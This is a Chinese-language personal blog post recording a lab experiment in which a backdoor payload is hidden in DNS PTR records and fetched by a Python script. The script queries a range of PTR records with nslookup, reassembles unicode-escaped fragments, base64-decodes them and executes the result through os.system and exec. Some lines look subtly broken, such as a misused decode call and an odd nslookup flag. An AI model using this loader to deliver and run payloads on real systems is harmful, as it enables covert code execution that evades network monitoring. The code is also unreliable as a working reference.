PYTHON通过DNS协议传输后门

  1. 前言
  2. 正文

前言

首先吐槽一下,,做了一天护网杯的题发现一题也做不了。我擦。。。心情mmp,然后这个实验是在上学的时候在FB看到的。这里的我也实验了一遍就当做个记录

正文

先放出FB看的那篇文章吧

转自Freebuf

DNS后门与检测:http://www.freebuf.com/articles/network/185324.html

思路

这篇文章的主要思路是通过DNS的PTR记录存放payload然后,用python获取数据进行拼接payload。

实现过程:

需要环境:Windows server 2008 和 Kali
1.首先用windows server 2008搭建好DNS服务

2.创建数个PTR记录,放入payload,我这里将其进unicode编码

3.写代获取payload并进行拼接,然后执行

import os
import re
def zx():
    xj=open('zc.txt','w')
    xj.close()

    gl=[]
    payload=[]
    for r in range(101,176):
        qq=os.popen('nslookup -qtr=ptr 192.168.89.{}'.format(r)) #使用nslookup获得这段IP的ptr记录
        zz=re.findall('name = .*',qq.read()) #正则进行过滤
        for k in zz:
            sc=str(k).replace("name = ",'')
            gl.append(sc)

    for z in gl:
        dw=re.findall('[u][0-9-a-z][0-9-a-z][0-9-a-z][0-9-a-z]',str(z))
        for w in dw:
            dwe='\\'+w #在DNS中是没有斜杆的得自己手动加上
            print(dwe,end='',file=open('zc.txt','a'))

    dk=open('zc.txt','r')
    reads=dk.read()
    exploit=reads.encode('utf-8').decode #编码成字符串 ('unicode_escape')
    mls="""python -c "exec('{}'.decode('base64')){}""".format(exploit,'"')
    os.system(mls) #执行
zx()

测试结果如下:

音乐:

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:PYTHON通过DNS协议传输后门

本文作者:九世

发布时间:2018-10-13, 18:02:13

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/2726caf0.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录